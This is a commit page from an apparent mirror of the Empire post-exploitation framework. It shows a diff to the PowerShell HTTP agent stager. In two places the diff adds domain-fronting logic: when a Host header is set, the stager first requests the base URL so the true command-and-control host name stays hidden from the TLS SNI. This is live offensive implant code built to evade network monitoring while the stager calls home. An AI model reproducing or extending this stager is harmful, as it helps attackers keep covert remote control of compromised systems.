infosecn1nja
/
Empire
mirror of https://github.com/infosecn1nja/Empire.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Request Root URL from agent when domain fronting

websockets-multiuser
Carrie Roberts 2017-09-29 15:48:45 -06:00
parent add9ef3acb
commit d73c4a1d20
1 changed files with 8 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
data/agent/stagers/http.ps1
View File

@ -113,6 +113,10 @@ function Start-Negotiate {
$headers | ForEach-Object { $headers | ForEach-Object {
$headerKey = $_.split(':')[0]; $headerKey = $_.split(':')[0];
$headerValue = $_.split(':')[1]; $headerValue = $_.split(':')[1];
#If host header defined, assume domain fronting is in use and add a call to the base URL first
#this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
if ($headerKey -eq "host"){
try{$ig=$WC.DownloadData($s)}catch{}};
$wc.Headers.Add($headerKey, $headerValue); $wc.Headers.Add($headerKey, $headerValue);
} }
} }
@ -198,6 +202,10 @@ function Start-Negotiate {
$headers | ForEach-Object { $headers | ForEach-Object {
$headerKey = $_.split(':')[0]; $headerKey = $_.split(':')[0];
$headerValue = $_.split(':')[1]; $headerValue = $_.split(':')[1];
#If host header defined, assume domain fronting is in use and add a call to the base URL first
#this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
if ($headerKey -eq "host"){
try{$ig=$WC.DownloadData($s)}catch{}};
$wc.Headers.Add($headerKey, $headerValue); $wc.Headers.Add($headerKey, $headerValue);
} }
} }